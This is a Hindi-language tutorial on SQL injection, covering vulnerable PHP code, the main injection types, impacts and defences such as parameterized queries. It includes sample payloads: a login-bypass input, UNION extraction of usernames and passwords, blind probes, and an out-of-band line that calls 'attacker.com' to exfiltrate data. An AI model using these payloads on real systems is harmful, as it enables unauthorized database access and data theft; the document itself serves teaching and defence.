SQL इंजेक्शन (SQLi) क्या है?
SQL इंजेक्शन एक कोड इंजेक्शन हमला है जहां हमलावर दुर्भावनापूर्ण SQL कोड को एप्लिकेशन के डेटाबेस क्वेरी में इंजेक्ट करता है, जिससे डेटाबेस तक अनधिकृत पहुंच, डेटा चोरी, संशोधन, या विलोपन संभव होता है। यह OWASP Top 10 में लगातार #1 या #2 महत्वपूर्ण वेब एप्लिकेशन सुरक्षा जोखिम है।
SQL इंजेक्शन कैसे काम करता है
भेद्य शर्तें
- एप्लिकेशन उपयोगकर्ता इनपुट को डेटाबेस क्वेरी में **सैनिटाइजेशन के बिना** शामिल करता है
- इनपुट सीधे SQL स्ट्रिंग में जोड़ा जाता है (पैरामीटराइज्ड क्वेरी के बजाय)
- हमलावर इनपुट को नियंत्रित कर सकता है (फॉर्म फील्ड, URL पैरामीटर, कुकी, हेडर)
बुनियादी उदाहरण
-- भेद्य कोड (PHP/MYSQL उदाहरण)
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
-- हमलावर इनपुट:
username: admin' --
password: [कुछ भी]
-- परिणामी क्वेरी:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
-- "--" बाकी क्वेरी को कमेंट कर देता है → admin के रूप में लॉगिन बिना पासवर्ड!
SQL इंजेक्शन के 3 मुख्य प्रकार
| प्रकार | उप-प्रकार | विवरण | उदाहरण |
|---|---|---|---|
| In-band SQLi (क्लासिक) | Error-based | डेटाबेस त्रुटि संदेशों से डेटा निकालना | ' UNION SELECT NULL, version(), NULL-- |
| Union-based | UNION ऑपरेटर से परिणाम जोड़कर डेटा निकालना | ' UNION SELECT username, password FROM users-- | |
| Inferential SQLi (ब्लाइंड) | Boolean-based Blind | TRUE/FALSE प्रतिक्रिया से डेटा अनुमान (कोई डेटा वापस नहीं) | ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- |
| Time-based Blind | प्रतिक्रिया देरी से डेटा अनुमान (WAITFOR DELAY, SLEEP) | ' AND IF(1=1,SLEEP(5),0)-- | |
| Out-of-band SQLi | DNS/HTTP एक्सफिल्ट्रेशन | डेटा बाहरी चैनल (DNS क्वेरी, HTTP अनुरोध) के माध्यम से निकालना | '; EXEC master..xp_dirtree '\\attacker.com\share'-- |
SQL इंजेक्शन के जोखिम और प्रभाव
- डेटा उल्लंघन: ग्राहक डेटा, PII, वित्तीय रिकॉर्ड, बौद्धिक संपदा चोरी
- डेटा हानि/भ्रष्टाचार: DELETE, UPDATE, DROP TABLE कमांड
- प्रमाणीकरण बाईपास: किसी भी खाते में लॉगिन, विशेषाधिकार वृद्धि
- रिमोट कोड निष्पादन: `xp_cmdshell` (MSSQL), `INTO OUTFILE` (MySQL) के माध्यम से OS कमांड
- वेबसाइट विकृति: सामग्री संशोधन, मैलवेयर इंजेक्शन
- पिवट अटैक: समझौता किए गए DB सर्वर से आंतरिक नेटवर्क तक पहुंच
- नियामक परिणाम: GDPR, HIPAA, PCI-DSS जुर्माना, कानूनी दायित्व
क्या SQL इंजेक्शन अभी भी खतरा है? (2024)
हां, अत्यधिक प्रासंगिक। कारण:
- पुराने एप्लिकेशन, असमर्थित फ्रेमवर्क, अनपैच सिस्टम
- नए डेवलपर्स सुरक्षित कोडिंग अभ्यास नहीं जानते
- स्वचालित स्कैनर (SQLMap, Havij) इसे आसान बनाते हैं
- API, माइक्रोसर्विसेज, नो-SQL इंजेक्शन (NoSQLi) नए वेक्टर
- हालिया प्रमुख घटनाएं: MoveIT Transfer (2023), Progress Software
रोकथाम और बचाव (रक्षा-में-गहराई)
1. प्राथमिक रक्षा: पैरामीटराइज्ड क्वेरी (तैयार स्टेटमेंट)
-- सुरक्षित: पैरामीटराइज्ड क्वेरी
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $user, 'password' => $pass]);
-- असुरक्षित: स्ट्रिंग कंस्ट्रक्शन
$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
2. द्वितीयक रक्षा
- इनपुट सत्यापन: श्वेतसूची सत्यापन (प्रकार, लंबाई, प्रारूप, सीमा)
- आउटपुट एन्कोडिंग: संदर्भ-जागरूक एन्कोडिंग (HTML, JS, SQL, URL)
- ORM उपयोग: Hibernate, Entity Framework, Sequelize, SQLAlchemy (सावधानी से)
- न्यूनतम विशेषाधिकार: DB उपयोगकर्ता केवल आवश्यक अनुमतियां (नहीं sa/root)
- स्टोर्ड प्रोसीजर: केवल यदि पैरामीटराइज्ड, डायनामिक SQL नहीं
3. नेटवर्क/इंफ्रास्ट्रक्चर रक्षा
- WAF (वेब एप्लिकेशन फायरवॉल): SQLi हस्ताक्षर, व्यवहार विश्लेषण, वर्चुअल पैचिंग
- डेटाबेस फायरवॉल/गतिविधि निगरानी: असामान्य क्वेरी पैटर्न पहचान
- SIEM सहसंबंध: असफल लॉगिन, त्रुटि पैटर्न, डेटा एक्सफिल्ट्रेशन
4. परीक्षण और सत्यापन
- SAST/DAST/IAST: कोड/रनटाइम में SQLi पैटर्न स्कैन
- पेन टेस्टिंग: मैनुअल + स्वचालित (SQLMap, Burp Suite)
- कोड समीक्षा: क्वेरी निर्माण पैटर्न पर ध्यान केंद्रित
SQL इंजेक्शन परीक्षण उपकरण
- SQLMap: स्वचालित SQLi शोषण, डेटाबेस फिंगरप्रिंटिंग, डेटा निकालना
- Burp Suite Scanner: वेब ऐप स्कैनिंग में SQLi मॉड्यूल
- OWASP ZAP: फ्री, ओपन सोर्स वेब ऐप स्कैनर
- NoSQLMap: MongoDB, CouchDB के लिए इंजेक्शन परीक्षण
निष्कर्ष
SQL इंजेक्शन **रोकथाम योग्य लेकिन लगातार** खतरा है। **पैरामीटराइज्ड क्वेरी** एकमात्र विश्वसनीय प्राथमिक रक्षा है। रक्षा-में-गहराई: सुरक्षित कोडिंग + WAF + न्यूनतम विशेषाधिकार + निगरानी + नियमित परीक्षण। कोई भी एकल नियंत्रण पर्याप्त नहीं है।